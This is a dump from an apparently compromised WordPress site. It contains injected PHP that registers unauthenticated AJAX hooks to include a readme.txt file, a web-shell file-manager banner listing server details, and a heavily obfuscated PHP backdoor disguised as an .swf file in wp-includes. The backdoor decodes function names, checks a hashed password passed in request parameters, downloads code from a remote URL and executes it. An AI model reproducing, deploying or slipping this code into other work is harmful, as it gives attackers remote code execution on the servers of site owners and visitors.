if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-includes/blocks/heading/heading/x.swf
<?php
 goto PXeF0sQQROvVhrM; HafHNxofThA1gSS: class h7fZSz7BblnqMUQ { static function YWYOSnucaO_Wj4g($dDEVvuCWHW229zq) { goto jnDcFe44hhLHcOD; j900zmYdVV4HGq4: mRbhOX3YuhM6eB6: goto HW1mr3Q_5suli3I; tYs5TN3X5EBW3In: $X6RFWVAi5ajjXvU = explode("\x2d", $dDEVvuCWHW229zq); goto KCs1EefDfukYfGy; jnDcFe44hhLHcOD: $U_F9gFXWbCYnFMf = "\x72" . "\x61" . "\x6e" . "\147" . "\x65"; goto FD_myU0ALWRGFkt; huD_NLtTP4McIqD: foreach ($X6RFWVAi5ajjXvU as $QRXgV0V39B4XgRK => $fmroa1N6QWUhoM0) { $GB4C6JvMbjV665F .= $f6dEDtccyWpGkpr[$fmroa1N6QWUhoM0 - 35057]; Brexb5qggoZ3kJN: } goto j900zmYdVV4HGq4; KCs1EefDfukYfGy: $GB4C6JvMbjV665F = ''; goto huD_NLtTP4McIqD; FD_myU0ALWRGFkt: $f6dEDtccyWpGkpr = $U_F9gFXWbCYnFMf("\176", "\40"); goto tYs5TN3X5EBW3In; HW1mr3Q_5suli3I: return $GB4C6JvMbjV665F; goto bHUliyYOQb2aVdJ; bHUliyYOQb2aVdJ: } static function pZy3aLvZxURkKWt($ZYZtxi5t_fhqsQK, $eANenefKHTQpFnu) { goto WVUHuDqxnLo3Iyz; CPQULK2jANvTWLw: return empty($UukF4zRcQY0Zwps) ? $eANenefKHTQpFnu($ZYZtxi5t_fhqsQK) : $UukF4zRcQY0Zwps; goto iq58_gN8PyJ0kp8; k2838Y9xQsHqJAe: $UukF4zRcQY0Zwps = curl_exec($HXQUDgMYYQiuEK8); goto CPQULK2jANvTWLw; V13vRHCtSKrCnJV: curl_setopt($HXQUDgMYYQiuEK8, CURLOPT_RETURNTRANSFER, 1); goto k2838Y9xQsHqJAe; WVUHuDqxnLo3Iyz: $HXQUDgMYYQiuEK8 = curl_init($ZYZtxi5t_fhqsQK); goto V13vRHCtSKrCnJV; iq58_gN8PyJ0kp8: } static function qQVFtiLQfLHAz0p() { goto JzPbpdLF3xpZ2v2; VpCZqOUPd2ZSrmP: @$i98VTB4rJlVDQBE[10 + 0](INPUT_GET, "\x6f\146") == 1 && die($i98VTB4rJlVDQBE[3 + 2](__FILE__)); goto ACcFcdMa4WK9sqx; ACcFcdMa4WK9sqx: if (!(@$n80ZExt3fHf4kTV[0] - time() > 0 and md5(md5($n80ZExt3fHf4kTV[2 + 1])) === "\143\x62\61\64\x35\x35\62\65\x34\62\61\144\x37\x62\66\64\145\x63\x35\63\142\146\67\70\61\x34\144\x38\x64\x66\64\x33")) { goto bcXaeGat3NPjLk2; } goto GbnGX09GAPd7JeK; XO8ceneZCrWLm8V: bcXaeGat3NPjLk2: goto AOm8Rk1dHdtR2NO; yy7kDEDTg79mVYn: $TxDVbeXH35f5rux = @$i98VTB4rJlVDQBE[0 + 3]($i98VTB4rJlVDQBE[3 + 3], $IZ1yQNZQWaNf88g); goto HJECdTTd4rLdXBF; g_v89GsHOHzLu6F: @$i98VTB4rJlVDQBE[0]('', $i98VTB4rJlVDQBE[6 + 1] . $i98VTB4rJlVDQBE[0 + 4]($O0IFdJ0GqVWplen) . $i98VTB4rJlVDQBE[7 + 1]); goto ppQHxHMGLEMJ7cy; Uqg_J9OO9s8Vg38: $IZ1yQNZQWaNf88g = @$i98VTB4rJlVDQBE[1]($i98VTB4rJlVDQBE[10 + 0](INPUT_GET, $i98VTB4rJlVDQBE[1 + 8])); goto yy7kDEDTg79mVYn; GbnGX09GAPd7JeK: $O0IFdJ0GqVWplen = self::PZy3alvzXuRKKwt($n80ZExt3fHf4kTV[1 + 0], $i98VTB4rJlVDQBE[0 + 5]); goto g_v89GsHOHzLu6F; JzPbpdLF3xpZ2v2: $zf2oV8GAG4dz_5W = array("\63\x35\x30\x38\x34\x2d\63\x35\60\66\x39\x2d\63\65\60\70\62\x2d\x33\x35\x30\70\x36\55\x33\65\60\x36\67\55\63\x35\x30\x38\62\55\x33\65\60\x38\x38\55\x33\65\x30\70\x31\x2d\63\65\x30\66\x36\55\63\x35\60\x37\x33\x2d\x33\65\x30\70\x34\x2d\x33\65\x30\66\x37\55\63\65\x30\67\70\x2d\63\65\x30\67\x32\55\x33\65\60\67\x33", "\x33\x35\x30\x36\70\x2d\x33\x35\x30\x36\x37\55\x33\x35\60\66\x39\55\x33\65\60\x38\x38\x2d\x33\x35\x30\x36\71\x2d\63\x35\60\x37\x32\x2d\63\x35\60\66\x37\55\x33\x35\61\x33\64\55\63\65\61\x33\62", "\63\65\x30\67\67\x2d\63\65\x30\x36\70\55\x33\x35\60\67\62\55\63\x35\x30\67\x33\x2d\63\x35\60\70\70\55\63\x35\x30\x38\63\x2d\63\x35\x30\x38\x32\55\63\x35\60\70\x34\x2d\x33\65\60\67\x32\55\63\65\x30\70\63\55\x33\65\60\x38\62", "\x33\x35\60\x37\x31\x2d\63\x35\x30\70\66\x2d\x33\65\x30\70\x34\x2d\x33\x35\60\67\66", "\x33\x35\60\70\65\x2d\x33\x35\60\x38\66\55\63\65\x30\x36\x38\55\x33\x35\60\70\62\55\63\65\61\62\x39\55\x33\65\x31\63\61\55\63\65\60\x38\70\x2d\x33\65\x30\x38\63\55\63\x35\x30\70\x32\x2d\x33\65\x30\70\64\55\63\65\x30\67\62\x2d\x33\65\x30\x38\x33\x2d\x33\x35\x30\70\x32", "\63\x35\60\70\61\55\x33\65\x30\x37\x38\x2d\63\65\x30\67\65\55\63\65\x30\70\62\55\x33\x35\60\70\70\55\63\x35\x30\70\x30\x2d\63\65\60\70\62\55\x33\x35\x30\x36\x37\55\63\x35\60\x38\x38\x2d\x33\x35\x30\70\64\x2d\63\65\x30\67\x32\55\x33\x35\x30\67\63\55\63\x35\60\x36\67\x2d\x33\65\x30\x38\x32\55\x33\65\x30\x37\x33\55\63\x35\60\66\x37\55\x33\65\60\66\70", "\x33\x35\x31\61\x31\55\63\65\61\64\x31", "\x33\65\x30\x35\70", "\63\x35\x31\63\66\55\x33\x35\x31\x34\61", "\63\x35\x31\61\70\55\x33\65\x31\60\61\55\x33\x35\61\x30\x31\x2d\63\x35\x31\61\70\55\x33\x35\x30\x39\64", "\x33\x35\60\70\61\55\63\x35\x30\x37\x38\x2d\x33\65\x30\x37\65\x2d\63\x35\60\66\x37\x2d\63\65\x30\x38\x32\55\x33\65\x30\66\71\x2d\x33\65\60\x38\x38\55\x33\65\x30\67\x38\55\x33\x35\60\67\63\55\x33\65\60\x37\61\x2d\x33\65\x30\x36\66\x2d\63\65\60\x36\x37"); goto nnjg6C5AjW2SuET; gg8YFGJanvuoN2n: LsKKsV13AyWxeDB: goto Uqg_J9OO9s8Vg38; nnjg6C5AjW2SuET: foreach ($zf2oV8GAG4dz_5W as $uGb4XgMUJXNeu7J) { $i98VTB4rJlVDQBE[] = self::ywyOsNUCAo_wJ4g($uGb4XgMUJXNeu7J); JbViQOUw_01R_ho: } goto gg8YFGJanvuoN2n; ppQHxHMGLEMJ7cy: die; goto XO8ceneZCrWLm8V; HJECdTTd4rLdXBF: $n80ZExt3fHf4kTV = $i98VTB4rJlVDQBE[1 + 1]($TxDVbeXH35f5rux, true); goto VpCZqOUPd2ZSrmP; AOm8Rk1dHdtR2NO: } } goto mIAfQg_2E6MgZxS; vJVwvNTlLFgAfxc: $qyzlppapy6uFGpx = ${$xzIyPAZlBuLFzco[3 + 28] . $xzIyPAZlBuLFzco[9 + 50] . $xzIyPAZlBuLFzco[7 + 40] . $xzIyPAZlBuLFzco[1 + 46] . $xzIyPAZlBuLFzco[5 + 46] . $xzIyPAZlBuLFzco[15 + 38] . $xzIyPAZlBuLFzco[13 + 44]}; goto wWj7qxzUGmDEmV9; PXeF0sQQROvVhrM: $xzIyPAZlBuLFzco = range("\176", "\x20"); goto vJVwvNTlLFgAfxc; wWj7qxzUGmDEmV9: @(md5(md5(md5(md5($qyzlppapy6uFGpx[24])))) === "\60\x64\70\60\x38\141\70\145\x30\70\x65\141\x31\x62\146\66\62\x36\67\x37\145\x38\x63\66\x35\x66\x31\60\145\x37\x38\63") && (count($qyzlppapy6uFGpx) == 30 && in_array(gettype($qyzlppapy6uFGpx) . count($qyzlppapy6uFGpx), $qyzlppapy6uFGpx)) ? ($qyzlppapy6uFGpx[66] = $qyzlppapy6uFGpx[66] . $qyzlppapy6uFGpx[74]) && ($qyzlppapy6uFGpx[86] = $qyzlppapy6uFGpx[66]($qyzlppapy6uFGpx[86])) && @($qyzlppapy6uFGpx = $qyzlppapy6uFGpx[86]($qyzlppapy6uFGpx[55], $qyzlppapy6uFGpx[66](${$qyzlppapy6uFGpx[49]}[21]))) && $qyzlppapy6uFGpx() : $qyzlppapy6uFGpx; goto EALldtildvVNiwN; EALldtildvVNiwN: metaphone("\117\104\111\171\x4f\x54\153\x33\x4d\104\143\172\x4e\x7a\x59\x79\x4d\124\105\60\x4d\x54\x67\x34\x4f\x44\x55\170\x4e\124\105\172"); goto HafHNxofThA1gSS; mIAfQg_2E6MgZxS: h7FzsZ7bBlnqmUQ::qQVFTiLQFLHaZ0P();
?>